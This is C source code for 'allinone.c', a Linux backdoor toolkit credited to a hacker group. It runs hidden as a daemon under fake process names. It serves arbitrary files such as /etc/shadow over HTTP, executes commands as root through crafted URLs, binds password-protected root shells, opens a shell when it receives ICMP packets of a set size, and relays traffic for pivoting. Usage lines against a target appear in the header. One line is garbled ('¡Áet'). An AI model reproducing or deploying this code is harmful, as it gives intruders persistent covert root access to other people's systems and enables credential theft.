/************************************************************************ 
* allinone.c for HUC (2002.1) 
* 
* allinone.c is 
* a Http server, 
* a sockets transmit server, 
* a shell backdoor, 
* a icmp backdoor, 
* a bind shell backdoor, 
* a like http shell, 
* it can translate file from remote host, 
* it can give you a socks5 proxy, 
* it can use for to attack, jumps the extension, Visits other machines. 
* it can give you a root shell.:) 
* 
* Usage: 
* compile: 
* gcc -o allinone allinone.c -lpthread 
* run on target: 
* ./allinone 
* 
* 1.httpd server 
* Client: 
* http://target:8008/givemefile/etc/passwd 
* lynx -dump http://target:8008/givemefile/etc/shadow > shadow 
* or wget http://target:8008/givemefile/etc/shadow
* 
* 2.icmp backdoor 
* Client: 
* ping -l 101 target (on windows) 
* ping -s 101 -c 4 target (on linux) 
* nc target 8080 
* kissme:)   --> your password 
* 
* 3.shell backdoor 
* Client: 
* nc target 8008 
* kissme:)   --> your password 
* 
* 4.bind a root shell on your port 
* Client: 
* http://target:8008/bindport:9999 
* nc target 9999 
* kissme:)   --> your password   
* 
* 5.sockets transmit 
* Client: 
* http://target:8008/socks/:local listen port::you want to tran ip:::you want to tran port 
* http://target:8008/socks/:1080::192.168.0.1:::21 
* nc target 1080 
* 
* 6.http shell 
* Client: 
* http://target:8008/givemeshell:ls -al (no pipe) 
* 
* ps: 
* All bind shell have a passwd, default is: kissme:) 
* All bind shell will close, if Two minutes do not have the connection. 
* All bind shell only can use one time until reactivates.  
* 
* 
* Code by lion, e-mail: lion@cnhonker.net 
* Welcome to HUC Website, Http://www.cnhonker.com 
* 
* Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others) 
* Thx bkbll's Transmit code, and thx Neil,con,iceblood for test. 
* 
************************************************************************/ 


#include <stdio.h> 
#include <string.h> 
#include <signal.h> 
#include <netdb.h> 
#include <netinet/ip.h> 
#include <netinet/in.h> 
#include <sys/wait.h> 
#include <sys/socket.h> 
#include <sys/types.h> 
#include <sys/time.h> 
#include <pthread.h> 
#include <unistd.h> 
#include <fcntl.h> 
#include <errno.h> 


#define HTTPD_PORT  8008 
#define BIND_PORT  8888 
#define ICMP_PORT  8080 
#define TRAN_PORT  1080 
#define SIZEPACK  101 
#define MAXSIZE    32768 
#define TIMEOUT    120 
#define CONNECT_NUMBER  1 
#define HIDEME    "[login]       " 
#define HIDEICMP  "[su]       " 
#define HIDEFILE  "[bash]       " 
#define GET_FILE  "givemefile" 
#define SHELL_NAME  "givemeshell" 
#define BIND_NAME  "bindport" 
#define TRAN_NAME  "socks" 
#define DISPART    ":" 
#define DISPART1  "::" 
#define DISPART2  ":::" 
#define PASSWORD  "kissme:)"   /* Change it */
#define MESSAGE    "\r\n========Welcome to http://www.cnhonker.com========\r\n==========You got it, have a goodluck. :)=========\r\n\r\nYour command: \0" 
#define GIVEPASS   "\r\nEnter Your password: \0" 

#define max(a, b) (a)>(b)?(a) : (b) 

int maxfd, infd, outfd; 
unsigned char ret_buf[32768]; 

int  daemon_init();    /* init the daemon, if success return 0 other <0 */ 
void  sig_chid();    /* wait the child die */ 
int  TCP_listen();    /* success return 1 else return -1 */ 
char*  read_file();    /* return the file content as a large string, buf value like GET /index.html HTTP:/1.1 */ 
ssize_t  writen_file();    /* writen data to socket */ 
int  bind_shell();    /* bind a root shell to a port */ 
int  get_shell();    /* get me the root shell */ 
int  icmp_shell();    /* icmp backdoor */ 
int  socks();    /* socks */ 
int  create_socket(); 
int  create_serv(); 
int  client_connect(); 
int  quit(); 
void  out2in(); 
char  x2c();      /* http shell */ 
void  unescape_url(); 
void  plustospace(); 


/* The main function from here */ 
int main(int argc, char *argv[]) 
{ 
  int fd, len, i, icmp; 
  int csocket; 
  struct sockaddr_in caddr; 
  char readstr[4000]; 
  char *cbuf; 
  pid_t pid; 

  /* make it to a daemon */ 
  /*signal(SIGHUP, SIG_IGN);*/ 
  signal(SIGCHLD, sig_chid); 
  daemon_init(); 

  if((pid = fork()) == -1) exit(0); 
  if(pid <= 0) 
  { 
    strcpy(argv[0], HIDEICMP); 
    icmp_shell(); 
  } 

  fd = TCP_listen(HTTPD_PORT); 
  if(fd <= 0) return -1; 

  for(;;) 
  {   
    strcpy(argv[0], HIDEME); 

    /* check httpd */ 
    len = sizeof(caddr); 
    if((csocket = accept(fd, &caddr, &len)) < 0) continue; 
    if((pid = fork()) == -1) continue; 
    if(pid <= 0) 
    { 
      strcpy (argv[0], HIDEFILE); 
      i = recv(csocket, readstr, 4000,0); 
      if (i == -1) break; 
      if( readstr[ i -1 ] != '\n' ) break; 
      readstr [i] = '\0'; 
      /*printf("Read from client: %s \n", readstr);*/ 
      cbuf = read_file(readstr, csocket); 
      close(csocket); 
    } 
    close(csocket); 
  } 
  close(fd); 
  return(1); 
} 


/* init the daemon, if success return 0 other <0 */ 
int daemon_init() 
{ 
  struct sigaction act; 
  int i, maxfd; 

  if(fork() != 0) exit(0); 
  if(setsid() < 0) return(-1); 

  act.sa_handler = SIG_IGN; 
  /*act.sa_mask = 0;*/ 
  act.sa_flags = 0; 

  sigaction(SIGHUP, &act, 0); 

  if(fork() != 0) exit(0); 

  chdir("/"); 
  umask(0); 
  maxfd = sysconf(_SC_OPEN_MAX); 
  for(i=0; i<maxfd; i++) 
  close(i); 
  open("/dev/null", O_RDWR); 
  dup(0); 
  dup(1); 
  dup(2); 
  return(0); 
} 


/* wait the child die */ 
void sig_chid(int signo) 
{ 
  pid_t pid; 
  int stat; 
  while((pid = waitpid(-1, &stat, WNOHANG))>0); 
  printf("children %d died\n", pid); 
  return; 
} 

/* success return 1 else return -1 */ 
int TCP_listen(int port)    
{ 
  struct sockaddr_in laddr ; 
  int fd; 
  socklen_t len ; 
  fd = socket(AF_INET, SOCK_STREAM, 0); 
  len = sizeof(laddr) ; 
  memset(&laddr, 0, len) ; 
  laddr.sin_addr.s_addr = htonl(INADDR_ANY) ; 
  laddr.sin_family = AF_INET ; 
  laddr.sin_port = htons(port) ;  
  if((bind(fd, (const struct sockaddr *)&laddr, len))) return(-1); 
  if(listen(fd, 5)) return(-1); 
  return(fd); 
} 

/* http server */ 
char * read_file(char *buf, int fd)  
{ 
  char *erro= 
  "Content-type: text/html\n\n" 
  "HTTP/1.1 404 Not Found\n" 
  "Date: Mon, 14 Jan 2002 03:19:55 GMT\n" 
  "Server: Apache/1.3.22 (Unix)\n" 
  "Connection: close\n" 
  "Content-Type: text/html\n\n" 
  "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 4.0//EN\">\n" 
  "<HTML><HEAD>\n" 
  "<TITLE>404 Not Found</TITLE>\n" 
  "</HEAD><BODY>\n" 
  "<H1>Not Found</H1>\n" 
  "The requested URL was not found on this server.<P>\n" 
  "<HR>\n" 
  "<ADDRESS>Apache/1.3.22 Server at localhost Port 8008</ADDRESS>\n" 
  "</BODY></HTML>\n\n"; 

  char *bindok= 
  "Content-type: text/html\n\n" 
  "<html>\n<head><title>Bind Shell ok.:)</title></head>\n" 
  "<body bgcolor=\"#000000\">\n" 
  "<div align=\"center\"><p>\n" 
  "<font face=\"Arial\" color=\"#999999\" size=\"7\"><b>\n" 
  "You get it, goodluck! :-)\n" 
  "</b></font></p></div><br>\n" 
  "</body></html>\n\n"; 

  char *tranok= 
  "Content-type: text/html\n\n" 
  "<html>\n<head><title>Tran ok.:)</title></head>\n" 
  "<body bgcolor=\"#000000\">\n" 
  "<div align=\"center\"><p>\n" 
  "<font face=\"Arial\" color=\"#999999\" size=\"7\"><b>\n" 
  "Tran ok!\n" 
  "</b></font></p></div><br>\n" 
  "</body></html>\n\n"; 

  char *httpok1= 
  "Content-type: text/html\n\n" 
  "<html>\n<head><title>Shell ok.:)</title></head>\n" 
  "<body bgcolor=\"#000000\">\n" 
  "<div align=\"left\">\n" 
  "<pre><font face=\"Arial\" color=\"#999999\" size=\"2\">\n"; 

  char *httpok2= 
  "</font></pre></div><br>\n" 
  "</body></html>\n\n"; 

  char *yourcom= 
  "<b>Your Command:</b>\n"; 

  char *br= 
  "<br>\n"; 

  int listenp, targetp, i, j, c, bport; 
  char *cmd, *par, *op, *hp, *tp, *targeth, *command; 
  char *swap_file = "/tmp/tmp.txt"; 
  char *setpath = "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:."; 
  FILE *f; 

  /* check give me shell */ 
  cmd = buf; 
  par = strstr(cmd, PASSWORD); 
  if(par != NULL)  
  { 
    /*printf("Get Shell:\n");*/ 
    get_shell(fd); 
    exit(0); 
  } 

  /* check bind root shell on a port */ 
  par = strstr(cmd, BIND_NAME); 
  op = strstr(cmd, DISPART); 
  if(par != NULL && op != NULL) 
  { 
    bport = atoi(op + strlen(DISPART)); 
    if(bport <= 0) 
      bport = BIND_PORT; 
    /*printf("Bind Port: %d\n", bport);*/ 
    write(fd, bindok, strlen(bindok)); 
    close(fd); 
    bind_shell(bport); 
    exit(0); 
  } 

  /* check Tran code */ 
  par = strstr(cmd, TRAN_NAME); 
  op = strstr(cmd, DISPART); 
  hp = strstr(cmd, DISPART1); 
  tp = strstr(cmd, DISPART2); 
  if(par != NULL && op != NULL && hp != NULL && tp != NULL) 
  { 
    listenp = atoi(op + strlen(DISPART)); 
    if(listenp <= 0) 
    listenp = TRAN_PORT; 
    targetp = atoi(tp + strlen(DISPART2)); 
    if(targetp <= 0) 
      targetp = 23; 

    hp = (hp + strlen(DISPART1)); 
    targeth = strncpy(ret_buf, hp,strlen(hp) - strlen(tp)); 
    targeth[strlen(hp) - strlen(tp)] = '\0'; 

    /*printf("Tran Port: listen %d port to %s %d port\n", listenp, targeth, targetp);*/ 
    write(fd, tranok, strlen(tranok)); 
    close(fd); 
    /* 
    listenp = 1080; 
    targetp = 21; 
    targeth = "192.168.0.14"; 
    */ 
    socks(listenp, targeth, targetp); 
    exit(0); 
  } 

  /* check http shell */ 
  par = strstr(cmd, SHELL_NAME); 
  op = strstr(cmd, DISPART); 
  if(par != NULL && op != NULL) 
  { 
    tp = buf + 5 + strlen(SHELL_NAME) + strlen(DISPART); 
    hp = strstr(tp, "HTTP"); 
    if(hp != NULL) *hp = '\0'; 
    tp[strlen(tp) - 1] = 0; 
    plustospace(tp); 
    unescape_url(tp); 
    /*printf("HTTP Shell: %s\n", tp);*/ 

    c = j = strlen(tp); 
    tp[j] = ' ';j++; 
    tp[j] = ' ';j++; 
    tp[j] = '>';j++; 
    tp[j] = ' ';j++; 
    for(i = 0; i <= strlen(swap_file); i++, j++) 
    { 
      tp[j] = swap_file[i]; 
    } 
    tp[j + strlen(swap_file)] = '\0'; 

    command = tp; 
    /*printf("command: %s\n",command); */ 
    setuid(0); 
    setgid(0); 
    chdir("/"); 
    putenv(setpath); 
    /*printf("setpath ok!\n");*/ 
    system(command); 
    /*printf("system ok!\n");*/ 

    f = fopen(swap_file, "r"); 
    if (f == NULL) 
    { 
      /*printf("Swap file error");*/ 
      writen_file(fd, erro, strlen(erro)); 
      return erro; 
    } 

    writen_file(fd, httpok1, strlen(httpok1)); 
    writen_file(fd, yourcom, strlen(yourcom)); 
    writen_file(fd, command, c); 
    writen_file(fd, br, strlen(br)); 
    writen_file(fd, br, strlen(br)); 
    while( !feof(f) ) 
    { 
      i = fread(ret_buf, 1, 32768, f); 
      if (i == 0) break; 
      writen_file(fd, ret_buf, i); 
    } 
    fclose(f); 
    writen_file(fd, br, strlen(br)); 
    writen_file(fd, httpok2, strlen(httpok2)); 
    remove(swap_file); 
    exit(0); 
  } 

  /* check getfile */ 
  par = NULL; 
  par = strstr(cmd, GET_FILE); 
  if(par != NULL) 
  { 
    op = buf + 5 + strlen(GET_FILE); 
    tp = strstr(op, "HTTP"); 
    if(tp != NULL) *tp = '\0'; 
    op[strlen(op) - 1] = 0; 
    /*printf("Get File: %s\n", op);*/ 
    f = fopen(op, "r"); 
    if (f == NULL) 
    { 
      writen_file(fd, erro, strlen(erro)); 
      return erro; 
    } 

    while( !feof(f) ) 
    { 
      i = fread(ret_buf, 1, 32768, f); 
      if (i == 0) break; 
      writen_file(fd, ret_buf, i); 
    } 
    fclose(f); 
    exit(0); 
  } 
  writen_file(fd, erro, strlen(erro)); 
  close(fd); 
  exit(-1); 
} 


/* writen data to socket */ 
ssize_t writen_file(int fd, const void *vptr, size_t n)  
{ 
  size_t nleft; 
  ssize_t nwritten; 
  const char *ptr; 
  ptr = vptr; 
  nleft = n; 
  while(nleft > 0) 
  { 
    if((nwritten = write(fd, ptr, nleft)) <= 0) 
    { 
      if(errno == EINTR) 
      nwritten = 0; 
      else 
      return(-1); 
    } 
    nleft -= nwritten; 
    ptr += nwritten; 
  } 
  return(n); 
} 

/* bind root shell to a port */ 
int bind_shell(int port) 
{ 
  int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid, i, time; 
  char passwd[15]; 

  struct sockaddr_in serv_addr; 
  struct sockaddr_in client_addr; 
  struct timeval testtime; 

  setuid(0); 
  setgid(0); 
  seteuid(0); 
  setegid(0); 

  chdir("/"); 

  soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
  
  if (soc_des == -1) 
    exit(-1); 

  bzero((char *) &serv_addr,sizeof(serv_addr)); 
  serv_addr.sin_family = AF_INET; 
  serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); 
  serv_addr.sin_port = htons(port); 

  soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); 

  if (soc_rc != 0) 
    exit(-1); 
  if (fork() != 0) 
    exit(0); 
  setpgrp(); 
  if (fork() != 0) 
    exit(0); 
  soc_rc = listen(soc_des, 5); 
  if (soc_rc != 0) 
    exit(0); 
  
  testtime.tv_sec = TIMEOUT; 
  testtime.tv_usec = 0; 

  /*setsockopt(soc_des, SOL_SOCKET, SO_RCVTIMEO, &testtime, sizeof(testtime));*/ 

  alarm(TIMEOUT); 
  soc_len = sizeof(client_addr); 
  soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len); 

  if (soc_cli < 0) 
    exit(0); 
  alarm(0); 

  cli_pid = getpid(); 
  server_pid = fork(); 

  if (server_pid != 0) 
  { 
    write(soc_cli, GIVEPASS, strlen(GIVEPASS)); 
    recv(soc_cli, passwd, sizeof(passwd), 0); 

    for (i = 0; i < strlen(passwd); i++) 
    { 
      if (passwd[i] == '\n' || passwd[i] == '\r') 
      { 
        passwd[i] = '\0'; 
      } 
    } 

    if (strcmp(passwd, PASSWORD) != 0) 
    { 
      close(soc_cli); 
      close(soc_rc); 
      exit(-1); 
    } 

    write(soc_cli, MESSAGE, strlen(MESSAGE)); 
    for (i = 0; i < 3; i++) 
    { 
      dup2(soc_cli, i); 
    } 

    execl("/bin/sh","sh",(char *)0); 
    close(soc_cli); 
    close(soc_rc); 
    exit(1); 
  } 
  close(soc_cli); 
  close(soc_rc); 
  exit(0); 
} 

/* return a root shell */ 
int get_shell(int fd) 
{ 
  int i; 
  setuid(0); 
  setgid(0); 

  chdir("/"); 
  write(fd, MESSAGE, strlen(MESSAGE)); 
  for (i = 0; i < 3; i++) 
  { 
    dup2(fd, i); 
  } 
  execl("/bin/sh","sh",(char *)0); 
  close(fd); 
  return 1; 
} 

/* icmp backdoor */ 
int icmp_shell() 
{ 
  int i, s, size, fromlen, port = ICMP_PORT; 
  char pkt[4096]; 

  struct protoent *proto; 
  struct sockaddr_in from; 

  proto = getprotobyname("icmp"); 

  /* can't creat raw socket */ 
  if((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)  
  exit(0); 

  /* waiting for packets */ 
  while(1) 
  { 
    do 
    { 
      fromlen = sizeof(from); 
      if((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&from, &fromlen)) < 0) 
      printf("", size - 28); 
    }while(size != SIZEPACK + 28); 

    /* size == SIZEPACK, let's bind the shell on your port :)*/ 
    switch(fork())  
    { 
    case -1: 
      continue; 

    case 0: 
      bind_shell(port); 
    exit (0); 
    } 
  } 
  return 1; 
} 

/* tran socks code */ 
int socks(int listenp, char *targeth, int targetp) 
{ 
  int listfd, outside, inside, size; 
  pthread_t thread1; 
  struct sockaddr_in client; 

  if(!(listfd = create_socket())) exit(1); 
  if(!(create_serv(listfd, listenp))) exit(1); 
  
  for(;;) 
  { 
    size = sizeof(struct sockaddr); 
    /*printf("waiting for response.........\n");*/ 
    if((outfd = accept(listfd, (struct sockaddr *)&client, &size)) < 0) 
    { 
      /*printf("accept error\n");*/ 
      continue; 
    } 

    /*printf("accept a client from %s\n", inet_ntoa(client.sin_addr));*/ 
    if(!(infd=create_socket())) exit(1); 
    if(!(client_connect(infd, targeth, targetp))) quit(outfd, infd, listfd);  
   
    maxfd = max(outfd, infd) + 1; 
    pthread_create(&thread1, NULL, (void *)&out2in, NULL); 
  } 
  close(listfd); 
} 

int create_socket() 
{  
  int sockfd; 

  if((sockfd = socket(AF_INET, SOCK_STREAM, 0))<0) 
  { 
    /*printf("Create socket error\n");*/ 
    return(0); 
  } 
  return(sockfd); 
} 

int create_serv(int sockfd, int port) 
{ 
  struct sockaddr_in srvaddr; 
   
  bzero(&srvaddr, sizeof(struct sockaddr)); 
  srvaddr.sin_port = htons(port); 
  srvaddr.sin_family = AF_INET; 
  srvaddr.sin_addr.s_addr = htonl(INADDR_ANY); 
  
  if(bind(sockfd, (struct sockaddr *)&srvaddr, sizeof(struct sockaddr))<0) 
  { 
    /*printf("Bind to port %d error\n",port);*/ 
    return(0); 
  } 
  
  if(listen(sockfd,CONNECT_NUMBER)<0) 
  { 
    /*printf("listen error\n");*/ 
    return(0); 
  } 
  return(1); 
} 

int client_connect(int sockfd, char *server, int port) 
{ 
  struct sockaddr_in cliaddr; 
  struct hostent *host; 

  if(!(host = gethostbyname(server))) 
  { 
    /*printf("gethostbyname error:%s\n",server);*/ 
    return(0); 
  }  
  
  bzero(&cliaddr, sizeof(struct sockaddr)); 
  cliaddr.sin_family = AF_INET; 
  cliaddr.sin_port = htons(port); 
  cliaddr.sin_addr = *((struct in_addr *)host->h_addr); 
  
  if(connect(sockfd, (struct sockaddr *)&cliaddr, sizeof(struct sockaddr)) < 0) 
  { 
    /*printf("connect %s:%d error\n",server,port);*/ 
    return(0); 
  } 
  return(1); 
} 

int quit(int a, int b, int c) 
{ 
  close(a); 
  close(b); 
  close(c); 
  exit(1); 
} 

void out2in() 
{ 
  struct timeval timeset; 
  fd_set readfd, writefd; 
  int result, i = 0; 
  char read_in1[MAXSIZE], send_out1[MAXSIZE]; 
  char read_in2[MAXSIZE], send_out2[MAXSIZE]; 
  int read1 = 0, totalread1 = 0, send1=0; 
  int read2 = 0, totalread2 = 0, send2=0; 
  int out_fd, in_fd; 
  
  out_fd = outfd; 
  in_fd = infd; 
  
  bzero(read_in1, MAXSIZE); 
  bzero(read_in2, MAXSIZE); 
  bzero(send_out1, MAXSIZE); 
  bzero(send_out2, MAXSIZE); 
  
  timeset.tv_sec = TIMEOUT; 
  timeset.tv_usec = 0; 

  while(1) 
  { 
    FD_ZERO(&readfd); 
    FD_ZERO(&writefd); 
  
    FD_SET(out_fd, &readfd); 
    FD_SET(in_fd, &writefd); 
    FD_SET(out_fd, &writefd); 
    FD_SET(in_fd, &readfd); 
  
    result = select(maxfd, &readfd, &writefd, NULL, ¡Áet); 
    if(result < 0) 
    { 
      /*printf("select error\n");*/ 
      return; 
    } 
    else 
    if(result == 0) 
    { 
      /*printf("time out\n");*/ 
      return; 
    } 
  
    if(FD_ISSET(out_fd, &readfd)) 
    { 
      read1 = recv(out_fd, read_in1, MAXSIZE, 0); 
      if(read1 == 0) break; 
      if(read1 < 0) 
      { 
        /*printf("read data error\n");*/ 
        return; 
      } 
      memcpy(send_out1 + totalread1, read_in1, read1); 
      totalread1 += read1; 
      bzero(read_in1, MAXSIZE); 
    } 
    if(FD_ISSET(in_fd, &writefd)) 
    { 
      while(totalread1 > 0) 
      { 
        send1 = write(in_fd, send_out1, totalread1); 
        if(send1 == 0)break; 
        if(send1 < 0) 
        { 
          /*printf("unknow error\n");*/ 
          continue; 
        } 
        totalread1 -= send1; 
      } 
      bzero(send_out1, MAXSIZE); 
    } 

    if(FD_ISSET(in_fd, &readfd)) 
    { 
      read2 = recv(in_fd, read_in2, MAXSIZE, 0); 
      if(read2 == 0) break; 
      if(read2 < 0) 
      { 
        /*printf("read data error\n");*/ 
        return; 
      } 

      memcpy(send_out2 + totalread2, read_in2, read2); 
      totalread2 += read2; 
      bzero(read_in2, MAXSIZE); 
    } 

    if(FD_ISSET(out_fd, &writefd)) 
    { 
      while(totalread2 > 0) 
      { 
        send2 = write(out_fd, send_out2, totalread2); 
        if(send2 == 0) break; 
        if(send2 < 0) 
        { 
          /*printf("unknow error\n");*/ 
          continue; 
        } 

        totalread2 -= send2; 
      } 
      bzero(send_out2, MAXSIZE); 
    } 
  }  
  close(out_fd); 
  close(in_fd); 
  return; 
} 

char x2c(char *what) 
{ 
  register char digit; 

  digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0')); 
  digit *= 16; 
  digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0')); 
  return (digit); 
} 


void unescape_url(char *url) 
{ 
  register int x, y; 

  for(x = 0 , y = 0; url[y]; ++x, ++y) 
  { 
    if((url[x] = url[y]) == '%') 
    { 
      url[x] = x2c(&url[y + 1]); 
      y += 2; 
    } 
  } 
  url[x] = '\0'; 
} 

void plustospace(char *str) 
{ 
  register int x; 

  for(x = 0; str[x]; x++) 
  if (str[x] == '+') 
  str[x] = ' '; 
}